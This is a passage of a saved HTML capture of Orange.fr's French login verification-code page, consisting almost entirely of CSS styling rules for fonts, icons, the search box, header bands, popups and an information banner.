<!DOCTYPE html><html lang="fr" data-scrapbook-source="https://login.orange.fr/verification-code?action=confirmation&amp;service=manageP&amp;return_url=https%3A%2F%2Flogin.orange.fr%2Fmanage%2Fapi%2Fpassword%2Fconfirm&amp;contextId=68346185-521b-403d-bf3d-13f01b403dbf" data-scrapbook-create="20250526124230151" data-scrapbook-adoptedstylesheet-0=".screen-reader-only { position: absolute; padding: 0px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }

.hidden { display: none !important; }

body.une-arche elcos-header, body.une-arche elcos-footer-zone { --body-has-arch: 1 ; }

elcos-header { --mobile-phone-portrait-breakpoint: 30em; --mobile-768-breakpoint: 48em; --mobile-breakpoint: 64em; --tiny-desktop-1100-breakpoint: 68.75em; --small-desktop-1280-breakpoint: 80em; }

.gp :focus-visible { outline-color: rgb(241, 110, 0) !important; }

.sosh :focus-visible { outline-color: rgb(255, 255, 255) !important; }

@font-face { font-family: &quot;o-HelveticaNeue&quot;; src: url(&quot;HelvNeue55_W1G.eot&quot;) format(&quot;embedded-opentype&quot;), url(&quot;HelvNeue55_W1G.woff2&quot;) format(&quot;woff2&quot;), url(&quot;HelvNeue55_W1G.woff&quot;) format(&quot;woff&quot;), url(&quot;HelvNeue55_W1G.ttf&quot;) format(&quot;truetype&quot;), url(&quot;HelvNeue55_W1G.svg&quot;) format(&quot;svg&quot;); font-style: normal; font-weight: normal; font-display: swap; }

@font-face { font-family: &quot;o-HelveticaNeue&quot;; src: url(&quot;HelvNeue75_W1G.eot&quot;) format(&quot;embedded-opentype&quot;), url(&quot;HelvNeue75_W1G.woff2&quot;) format(&quot;woff2&quot;), url(&quot;HelvNeue75_W1G.woff&quot;) format(&quot;woff&quot;), url(&quot;HelvNeue75_W1G.ttf&quot;) format(&quot;truetype&quot;), url(&quot;HelvNeue75_W1G.svg&quot;) format(&quot;svg&quot;); font-style: normal; font-weight: bold; font-display: swap; }

@font-face { font-family: &quot;Sosh Medium&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 400; }

@font-face { font-family: &quot;Sosh Medium&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 700; }

@font-face { font-family: &quot;Sosh Bold&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 700; }

.sosh * { font-family: &quot;Sosh Medium&quot;, Arial, sans-serif; font-weight: 400; }

@font-face { font-family: &quot;elcos-embedded-icons&quot;; src: url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: normal; }

.icon::before, .icon::after { font-family: &quot;elcos-embedded-icons&quot;; font-style: normal; font-weight: normal; display: inline-block; width: 1em; text-align: center; font-variant: normal; text-transform: none; -moz-osx-font-smoothing: grayscale; }

.icon::before { content: var(--icon); }

.icon.after::before { content: none; }

.icon.after::before { content: none; }

.icon.after::after { content: var(--icon); }

.icon.arrow-right { --icon: &quot;&quot;; }

.icon.confirmation-tick { --icon: &quot;&quot;; }

.icon.error { --icon: &quot;&quot;; }

.icon.info { --icon: &quot;&quot;; }

.icon.warning { --icon: &quot;&quot;; }

.gp .icon.accessibilite { --icon: &quot;&quot;; }

.gp .icon.accessories { --icon: &quot;&quot;; }

.gp .icon.assistance { --icon: &quot;&quot;; }

.gp .icon.avantage-client { --icon: &quot;&quot;; }

.gp .icon.avatar { --icon: &quot;&quot;; }

.gp .icon.bons-plans { --icon: &quot;&quot;; }

.gp .icon.boutique { --icon: &quot;&quot;; }

.gp .icon.burger { --icon: &quot;&quot;; }

.gp .icon.bvld { --icon: &quot;&quot;; }

.gp .icon.calendar { --icon: &quot;&quot;; }

.gp .icon.contact { --icon: &quot;&quot;; }

.gp .icon.contacts { --icon: &quot;&quot;; }

.gp .icon.contrat { --icon: &quot;&quot;; }

.gp .icon.delete { --icon: &quot;&quot;; }

.gp .icon.equipement-tv { --icon: &quot;&quot;; }

.gp .icon.exit { --icon: &quot;&quot;; }

.gp .icon.facebook { --icon: &quot;&quot;; }

.gp .icon.fibre { --icon: &quot;&quot;; }

.gp .icon.forum { --icon: &quot;&quot;; }

.gp .icon.instagram { --icon: &quot;&quot;; }

.gp .icon.internet { --icon: &quot;&quot;; }

.gp .icon.keypad { --icon: &quot;&quot;; }

.gp .icon.link { --icon: &quot;&quot;; }

.gp .icon.linkedin { --icon: &quot;&quot;; }

.gp .icon.livebox { --icon: &quot;&quot;; }

.gp .icon.livraison { --icon: &quot;&quot;; }

.gp .icon.mail { --icon: &quot;&quot;; }

.gp .icon.maison-protegee { --icon: &quot;&quot;; }

.gp .icon.manette { --icon: &quot;&quot;; }

.gp .icon.moment-de-vie { --icon: &quot;&quot;; }

.gp .icon.musique { --icon: &quot;&quot;; }

.gp .icon.news { --icon: &quot;&quot;; }

.gp .icon.notification { --icon: &quot;&quot;; }

.gp .icon.options { --icon: &quot;&quot;; }

.gp .icon.orange-accompagne { --icon: &quot;&quot;; }

.gp .icon.parametre { --icon: &quot;&quot;; }

.gp .icon.parental-control { --icon: &quot;&quot;; }

.gp .icon.payement2 { --icon: &quot;&quot;; }

.gp .icon.payment { --icon: &quot;&quot;; }

.gp .icon.phone-sim { --icon: &quot;&quot;; }

.gp .icon.phone { --icon: &quot;&quot;; }

.gp .icon.pin-geoloc { --icon: &quot;&quot;; }

.gp .icon.pinterest { --icon: &quot;&quot;; }

.gp .icon.replay { --icon: &quot;&quot;; }

.gp .icon.reseaux { --icon: &quot;&quot;; }

.gp .icon.retour { --icon: &quot;&quot;; }

.gp .icon.search { --icon: &quot;&quot;; }

.gp .icon.securite { --icon: &quot;&quot;; }

.gp .icon.service5g { --icon: &quot;&quot;; }

.gp .icon.sim { --icon: &quot;&quot;; }

.gp .icon.svod { --icon: &quot;&quot;; }

.gp .icon.sync { --icon: &quot;&quot;; }

.gp .icon.telephone { --icon: &quot;&quot;; }

.gp .icon.tiktok { --icon: &quot;&quot;; }

.gp .icon.tv { --icon: &quot;&quot;; }

.gp .icon.vod { --icon: &quot;&quot;; }

.gp .icon.voicemail { --icon: &quot;&quot;; }

.gp .icon.x-com { --icon: &quot;&quot;; }

.gp .icon.youtube { --icon: &quot;&quot;; }

.sosh .icon.aide { --icon: &quot;&quot;; }

.sosh .icon.avatar { --icon: &quot;&quot;; }

.sosh .icon.burger { --icon: &quot;&quot;; }

.sosh .icon.camion { --icon: &quot;&quot;; }

.sosh .icon.chevron-double { --icon: &quot;&quot;; }

.sosh .icon.cloche { --icon: &quot;&quot;; }

.sosh .icon.deconnexion { --icon: &quot;&quot;; }

.sosh .icon.delete { --icon: &quot;&quot;; }

.sosh .icon.double-underline { --icon: &quot;&quot;; }

.sosh .icon.facture { --icon: &quot;&quot;; }

.sosh .icon.sim { --icon: &quot;&quot;; }

.icon.logo-orange-small::before { content: &quot;&quot;; background-image: url(&quot;&quot;); width: 1.125em; height: 1.125em; background-repeat: no-repeat; }

.button-comp { padding: 9px 20px 5px; cursor: pointer; text-decoration: none; white-space: nowrap; color: rgb(255, 255, 255); border: 2px solid rgb(255, 255, 255); background-color: rgb(0, 0, 0); font-size: inherit; font-weight: inherit; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.button-comp:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.button-comp:active { color: rgb(0, 0, 0); outline: none; background-color: rgb(255, 255, 255); }

button.as-link { border: medium; background: unset; padding: 0px; font-family: inherit; }

a, button.as-link { display: inline-block; clear: both; cursor: pointer; text-decoration: none; color: rgb(255, 255, 255); outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

a.sosh, button.as-link.sosh { color: rgb(0, 0, 0); }

a:focus-visible, button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

a:hover, a:focus-visible, button.as-link:hover, button.as-link:focus-visible { text-decoration: underline; color: rgb(204, 204, 204); }

a:hover.sosh, a:focus-visible.sosh, button.as-link:hover.sosh, button.as-link:focus-visible.sosh { color: rgb(0, 121, 128); text-decoration: none; font-weight: 700; }

a:active, button.as-link:active { text-decoration: underline; color: rgb(241, 110, 0); }

a:active.sosh, button.as-link:active.sosh { color: rgb(38, 130, 142); }

a em, button.as-link em { color: rgb(255, 121, 0); font-style: normal; }

a.link-icon-text { font-size: 1em; font-weight: 700; }

a.link-icon-text::before { margin-right: 0.375em; vertical-align: middle; font-size: 1.875em; }

i { font-style: normal; }

.morpheus-search { font-family: &quot;o-HelveticaNeue&quot;, Helvetica, Arial, sans-serif; color: rgb(255, 255, 255); margin: 0px; padding: 0.9375em; background: rgb(0, 0, 0); border: medium; width: 19.25em; }

.morpheus-search.mobile { position: absolute; left: 0px; right: 0px; top: 100%; width: 100%; z-index: 9999; padding: 0px; }

.morpheus-search form { position: relative; display: flex; align-items: center; background: rgba(255, 255, 255, 0.1); height: 2.375em; border-bottom: 1px solid rgb(255, 255, 255); }

.morpheus-search form .before { pointer-events: none; position: absolute; left: 0.9375em; }

.morpheus-search form .before::before { font-size: 1.0625em; }

.morpheus-search form button { display: none; position: absolute; right: 0px; border: 0px; padding: 0px; width: 1.125em; height: 1.125em; cursor: pointer; background: none; color: rgb(204, 204, 204); outline: none; outline-offset: 8px !important; transition: outline-offset 0.15s ease-in-out !important; }

.morpheus-search form button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 4px !important; }

.morpheus-search form button[type=&quot;submit&quot;] { right: 1.25em; }

.morpheus-search form button i::before { font-size: 1.125em; }

.morpheus-search form .search-input { font-family: inherit; font-size: 0.875em; background: none; border: 0px; height: 100%; width: 100%; color: rgb(255, 255, 255); outline: none !important; cursor: text; padding: 0px 0px 0px 3.35714em; }

.morpheus-search form .search-input::placeholder { color: rgb(204, 204, 204); font-weight: 400; opacity: 1; }

.morpheus-search form button[type=&quot;reset&quot;], .morpheus-search form button[type=&quot;submit&quot;] { padding: 0.4em; justify-content: center; align-items: center; }

.morpheus-search form .clear[type=&quot;reset&quot;] { display: none; }

.morpheus-search form button[type=&quot;reset&quot;] { right: 1.25em; }

.morpheus-search form button[type=&quot;reset&quot;] i { font-size: 1.25em; }

.morpheus-search form button[type=&quot;reset&quot;][aria-hidden=&quot;true&quot;] { display: none !important; }

.morpheus-search form .spotlight-hit-results { display: none; position: absolute; list-style: none; top: calc(100% + 1px); right: 0px; left: 0px; margin: 0px; padding: 0.625em 0px; z-index: 9999; overflow: auto; border: medium; background: rgb(39, 39, 39); }

.morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { color: rgb(255, 255, 255); padding: 5px 15px; font-size: 16px; font-weight: 700; line-height: 22px; border-bottom: 1px solid rgb(51, 51, 51); min-height: 2.375em; display: flex; align-items: center; }

@media (max-width: 64em) {
  .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { min-height: 3.0625em; }
}

.morpheus-search form .spotlight-hit-results li:first-of-type + .spotlight-hit-result { display: none; visibility: hidden; height: 0px; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result { line-height: initial; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor: pointer; color: rgb(255, 255, 255); display: flex; align-items: center; min-height: 2.4375em; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result i.search.icon { position: absolute; left: 0.875em; font-size: 1.25em; pointer-events: none; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a { overflow: hidden; text-overflow: ellipsis; box-sizing: border-box; vertical-align: middle; text-decoration: none; width: 100%; font-size: 1em; padding: 0.3125em 2.8125em; color: rgb(255, 255, 255); }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a em { font-weight: normal; color: inherit; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a em + span { font-weight: bold; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a img { display: block; float: left; margin-right: 0.625em; width: 2.5em; height: 3.375em; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a p { display: block; margin: 0.125em 0px; font-weight: normal; color: rgb(170, 170, 170); }

.morpheus-search form .search-box-overlay { --offset-height: calc(100vh - 100%); position: absolute; left: 0px; right: 0px; background: rgb(39, 39, 39); z-index: 2; top: 100%; height: var(--offset-height); display: none; border-top: 1px solid rgb(255, 255, 255); box-sizing: border-box; }

.morpheus-search:focus-within, .morpheus-search.forced-open { background: rgb(39, 39, 39); border-bottom: 1px solid rgb(255, 255, 255); }

.morpheus-search:focus-within form, .morpheus-search.forced-open form { border: medium !important; }

.morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { display: block; position: unset; width: 1.5em; height: 1.5em; font-size: 16px; border: medium !important; outline: none !important; background: none; }

.morpheus-search:focus-within form button[type=&quot;submit&quot;], .morpheus-search:focus-within form .before, .morpheus-search.forced-open form button[type=&quot;submit&quot;], .morpheus-search.forced-open form .before { display: none; }

.morpheus-search:focus-within form .clear, .morpheus-search.forced-open form .clear { display: flex; }

.morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { display: block; }

.morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; }

@media (max-width: 64em) {
  .morpheus-search:focus-within, .morpheus-search.forced-open { height: 3.125em; padding: 0px; margin-bottom: 1.125em; }
  .morpheus-search:focus-within form, .morpheus-search.forced-open form { height: 100%; width: 100%; }
  .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { border-right: 1px solid rgb(51, 51, 51) !important; margin: 3px 0px 3px 15px; padding-right: 15px; width: unset; height: unset; }
  .morpheus-search:focus-within form .close-mobile i, .morpheus-search.forced-open form .close-mobile i { outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }
  .morpheus-search:focus-within form .close-mobile i::before, .morpheus-search.forced-open form .close-mobile i::before { transform: translate(-1px, 1px) rotate(180deg); }
  .morpheus-search:focus-within form .close-mobile:focus-visible i, .morpheus-search.forced-open form .close-mobile:focus-visible i { outline: rgb(241, 110, 0) solid 2px !important; outline-offset: 2px !important; }
  .morpheus-search:focus-within form .search-input, .morpheus-search.forced-open form .search-input { padding-left: 0.875em; padding-right: 3em; font-size: 1em; }
  .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { padding-top: 0px; max-height: var(--offset-height); }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result { border-bottom: 1px solid rgb(51, 51, 51); min-height: 3.0625em; display: flex; align-items: center; padding: 0px; }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result a, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result a { padding: 0.3125em 0.9375em 0.3125em 2.8125em !important; line-height: 1.375em; }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result[data-active=&quot;true&quot;], .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result[data-active=&quot;true&quot;] { background: rgb(85, 85, 85); }
  .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; }
}

@media (max-width: 68.75em) {
  .morpheus-search { width: 15em; }
}

@media (max-width: 64em) {
  .morpheus-search { width: auto; }
}

@media (min-width: 64.0625em) {
  .morpheus-search { height: 2.875em; padding: 0px; border-bottom: 1px solid rgb(255, 255, 255); }
  .morpheus-search form { height: 100%; width: auto; border: 1px solid rgba(0, 0, 0, 0); }
  .morpheus-search form button { color: rgb(255, 255, 255); }
  .morpheus-search form .close-mobile { display: none; }
  .morpheus-search form .search-input { padding: 0.857143em 2.14286em 1em 3.35714em; }
  .morpheus-search form button[type=&quot;reset&quot;] { right: 3.3125em; }
  .morpheus-search form .spotlight-hit-results { border: 1px solid rgb(85, 85, 85); top: 100%; }
  .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { padding: 0.4375em 0.9375em 0.625em 2.8125em; color: rgb(0, 0, 0); }
  .morpheus-search form .search-box-overlay { display: none !important; }
  .morpheus-search:focus-within { border: medium; }
  .morpheus-search:focus-within form { background: rgb(255, 255, 255); border-color: rgb(85, 85, 85); }
  .morpheus-search:focus-within form button[type=&quot;reset&quot;], .morpheus-search:focus-within form button[type=&quot;submit&quot;] { display: flex; color: rgb(0, 0, 0); }
  .morpheus-search:focus-within form .before, .morpheus-search:focus-within form .close-mobile { display: none !important; }
  .morpheus-search:focus-within form .search-input { padding: 0.84375em 4.5em 0.84375em 0.9375em; font-weight: 700; color: rgb(0, 0, 0); border: 1px solid rgb(85, 85, 85); }
  .morpheus-search:focus-within form .search-input::placeholder { color: rgb(51, 51, 51); }
  .morpheus-search:focus-within form .spotlight-hit-results { background-color: rgb(255, 255, 255); border: 1px solid rgb(85, 85, 85); padding-top: 0.5em; padding-bottom: 0.5em; }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-results-title { color: rgb(85, 85, 85); font-size: 0.875em; line-height: 1.25em; border: medium; }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result[data-active=&quot;true&quot;] { background: rgb(244, 244, 244); }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result .icon.search { color: rgb(0, 0, 0); }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result a { padding: 0.3125em 2.8125em; font-size: 1em; line-height: 1.375em; }
}

.band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); }

@media (max-width: 90em) {
  .band { padding: 1.25em 3.75em; }
}

@media (max-width: 80em) {
  .band { padding: 1.25em 3.4375em; }
}

@media (max-width: 64em) {
  .band { padding: 0.625em 2.9375em; }
}

@media (max-width: 48em) {
  .band { padding: 0.625em 1.6875em; }
}

@media (max-width: 30em) {
  .band { padding: 0.625em 0.9375em; }
}

.band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; }

.band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; }

.band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; }

.band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; }

.maze.modified { position: relative; width: 0px; height: 100%; overflow: visible; transform: translateX(0.5em); }

.maze.modified .tag { animation: 3s ease-in-out infinite pulse; }

.maze.modified .tag, .maze.modified .details { font-size: 0.625em; position: absolute; left: 0.5em; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-radius: 1em; border: 0.2em solid rgb(255, 121, 0); padding: 0.1em 0.5em !important; }

.maze.modified:hover .tag, .maze.modified :hover .details { color: rgb(0, 0, 0); animation: none; }

.maze.modified .details { display: none !important; margin: 0px; padding: 0.1em 0.5em; }

.maze.modified:hover .tag { opacity: 0; }

.maze.modified:hover .details { display: block !important; }

.maze.modified.title::before { content: &quot;&quot;; display: block; position: absolute; top: 0px; right: 0px; width: 3em; height: 0.2em; background: linear-gradient(90deg, transparent 0%, rgb(255, 102, 0) 100%); animation: 3s ease-in-out infinite pulse; }

.maze.modified.title::after { content: &quot;&quot;; position: absolute; top: 0px; left: 0px; width: 0.2em; height: 2em; border-top-right-radius: 0.2em; background: linear-gradient(rgb(255, 102, 0) 0%, transparent 100%); animation: 3s ease-in-out infinite pulse; }

.maze.modified.tag { top: 1.2em; }

.maze.modified.tag ul.details { list-style-type: none; padding: 0.1em 0.5em; }

.maze.modified.tag ul.details li { padding: 0px; margin: 0px; opacity: 0.3; }

.maze.modified.tag ul.details li.changed { opacity: 1; }

.maze.modified.tag ul.details li label { color: rgb(127, 127, 127); margin-right: 0.3em; }

.maze.modified.url { top: 0px; }

@keyframes pulse {
  0% { opacity: 0.2; }
  100% { opacity: 1; }
}

@keyframes overlay-in {
  0% { opacity: 0; visibility: hidden; }
  1% { visibility: visible; }
  100% { visibility: visible; opacity: 0.5; }
}

@keyframes overlay-out {
  0% { visibility: visible; opacity: 0.5; }
  99% { visibility: visible; }
  100% { visibility: hidden; opacity: 0; }
}

.pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; }

.overlay { position: fixed; inset: 0px; background-color: rgb(0, 0, 0); z-index: 99900; opacity: 0; visibility: hidden; animation: none; }

.overlay.is-active { opacity: 0; visibility: hidden; animation: 0.3s overlay-out; }

.overlay.is-active.is-shown { opacity: 0.5; visibility: visible; animation: 0.3s overlay-in; }

.band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); }

@media (max-width: 90em) {
  .band { padding: 1.25em 3.75em; }
}

@media (max-width: 80em) {
  .band { padding: 1.25em 3.4375em; }
}

@media (max-width: 64em) {
  .band { padding: 0.625em 2.9375em; }
}

@media (max-width: 48em) {
  .band { padding: 0.625em 1.6875em; }
}

@media (max-width: 30em) {
  .band { padding: 0.625em 0.9375em; }
}

.band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; }

.band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; }

.band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; }

.band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; }

.layer { position: relative; }

.layer .popin { right: 50%; position: absolute; top: calc(100% + 0.3125em); z-index: 9998; box-shadow: rgba(0, 0, 0, 0.5) 0px 0px 5px; background: rgb(255, 255, 255); color: rgb(0, 0, 0); padding: 0.9375em; }

@media (max-width: 48em) {
  .layer .popin { padding: 1.6875em; top: 100%; }
}

@media (max-width: 30em) {
  .layer .popin { padding: 0.9375em; }
}

.layer .popin h1 { font-size: 1.25em; font-weight: bold; margin: 0px 0px 0.625em; padding: 0px; }

.layer .popin .close-button { color: rgb(0, 0, 0); position: absolute; top: 0.75em; right: 0.75em; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; font-size: 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.layer .popin .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.layer[data-state=&quot;inactive&quot;] .popin { visibility: hidden; transform: translateX(0px); }

.layer[data-state=&quot;active&quot;] .popin { visibility: visible; transform: translateX(50%); }

@media screen and (max-width: 48em) {
  .layer { position: static; }
  .layer .popin { left: 0px; right: 0px; width: auto !important; min-width: auto !important; max-width: 100000000px !important; transform: translateX(0px) !important; }
}

.layer.keep-right .popin { transform: translateX(calc(var(--popin-overflow-right))); }

.sosh .layer .popin { box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px 0px; border-radius: 0.3125em; }

.sosh .layer .popin .close-button { font-size: 1em; outline-offset: 0.25em !important; }

.sosh .layer .popin .close-button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: 0.0625em !important; }

.skeleton { position: unset; display: flex; overflow: hidden; background-color: rgb(38, 38, 38); margin: 10px; }

.skeleton::before { content: &quot;&quot;; width: 100%; inset: 0px; background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); transform: translateX(-100%); animation: 1.25s infinite skeleton; }

.gp .skeleton { min-height: 1.875em; background-color: rgb(38, 38, 38); }

.gp .skeleton::before { background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); }

.sosh .skeleton { min-height: 1.25em; background-color: rgb(242, 242, 242); }

.sosh .skeleton::before { background: linear-gradient(90deg, rgb(242, 242, 242), rgb(235, 235, 235), rgb(242, 242, 242)); }

@keyframes skeleton {
  0% { transform: translateX(-100%); }
  100% { transform: translateX(100%); }
}

.panel-button { position: relative; font-family: inherit; background-color: rgba(0, 0, 0, 0); border: 0px; display: inline-block; cursor: pointer; box-sizing: border-box; padding: 0px; text-align: center; font-size: inherit; justify-content: center; outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.panel-button::before { display: inline-block; }

.panel-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.panel-button:hover, .panel-button:focus-visible { color: rgb(204, 204, 204); }

.panel-button:hover i::before, .panel-button:focus-visible i::before { color: rgb(204, 204, 204); }

.panel-button:active { color: rgb(241, 110, 0); }

.panel-button:active i::before { color: rgb(241, 110, 0); }

.gp .panel-button { font-weight: bold; color: rgb(255, 255, 255); min-height: 2.5em; min-width: 2.5em; }

.gp .panel-button::before { font-size: 1.1875em; line-height: 2.10526em; min-height: 2.10526em; font-weight: 400; font-variant: normal; }

@media screen and (max-width: 64em) {
  .gp .panel-button { min-height: 2em; min-width: 2em; }
}

.gp [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { border-bottom-color: rgb(255, 255, 255); }

.sosh .panel-button { color: rgb(255, 255, 255); }

.sosh .panel-button::before { font-size: 1.75em; }

.sosh [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { border-bottom-color: rgb(222, 37, 84); }

@media (max-width: 48em) {
  .sosh [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { bottom: -0.9375em; }
}

[data-state=&quot;active&quot;] > .panel-button.has-arrow::after { content: &quot;&quot;; position: absolute; width: 0px; height: 0px; border-left: 0.375em solid rgba(0, 0, 0, 0); border-right: 0.375em solid rgba(0, 0, 0, 0); border-bottom-width: 0.375em; border-bottom-style: solid; bottom: -0.3125em; left: calc(50% - 0.375em); z-index: 10000; }

@media (max-width: 48em) {
  [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { bottom: -0.375em; }
}

.zema-badge { position: fixed; right: 0.125em; top: 0.125em; padding: 0.125em 0.4375em 0.125em 1.25em; border-radius: 0.625em; border: 0.125em solid rgb(255, 102, 0); color: rgb(85, 85, 85); background-color: rgb(255, 255, 255); box-shadow: rgb(85, 85, 85) 0px 0px 0.625em; pointer-events: none; font-family: Arial, sans-serif; font-size: 0.875em; z-index: 100000000; transform-origin: right bottom 0px; transform: rotate(-90deg) translate(1.3125em, -0.125em); }

.zema-badge i { display: block; position: absolute; left: 0.4375em; top: calc(50% - 0.25em); color: rgb(85, 85, 85); width: 0.5em; aspect-ratio: 1 / 1; border-radius: 50%; background: rgb(255, 102, 0); box-shadow: rgb(255, 102, 0) 0px 0px 0px 0px; }

.zema-badge.loading i { animation: 1s infinite emit; }

.zema-badge.loaded { animation: 3s ease-in-out infinite alternate both pulse; }

.zema-badge.loaded i { background: rgb(0, 221, 0); }

.zema-badge.error i { animation: 0.1s ease-in-out infinite alternate both pulse; background: rgb(255, 69, 0); }

@keyframes emit {
  100% { box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 1.875em; }
}

@keyframes pulse {
  0% { opacity: 0.9; }
  100% { opacity: 0.2; }
}

.band.bandeau-recollecte { width: 100%; background-color: rgb(233, 247, 255); color: rgb(0, 0, 0); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 10px; position: relative; z-index: 10000000; display: flex; gap: 1.25em; align-items: center; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte { position: fixed; bottom: 0px; flex-direction: column; align-items: center; gap: 1.25em; }
}

.band.bandeau-recollecte .message { position: relative; display: flex; flex-direction: column; margin-top: 0px; font-size: 15px; flex-grow: 2; }

@media screen and (min-width: 80em) {
  .band.bandeau-recollecte .message { flex-basis: 80%; }
}

.band.bandeau-recollecte .message h2 { display: flex; align-items: flex-start; margin-top: 0px; font-size: 16px; font-weight: bold; line-height: 20px; }

.band.bandeau-recollecte .message h2 i.icon.info::before { padding-right: 10px; color: rgb(0, 183, 255); font-size: xx-large; }

@media screen and (min-width: 80em) {
  .band.bandeau-recollecte .message h2 i.icon.info::before { left: -57px; }
}

.band.bandeau-recollecte .message h2 i.icon.arrow-right { display: none; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte .message h2 i.icon.arrow-right { display: block; }
  .band.bandeau-recollecte .message h2 i.icon.arrow-right::before { text-align: center; font-size: 1.25em; margin-left: auto; display: block; transform: rotate(270deg); }
  .band.bandeau-recollecte .message h2[aria-expanded=&quot;true&quot;] i.icon.arrow-right::before { transform: rotate(90deg); }
}

.band.bandeau-recollecte .message p { line-height: 1.5; margin: 0px; display: block; }

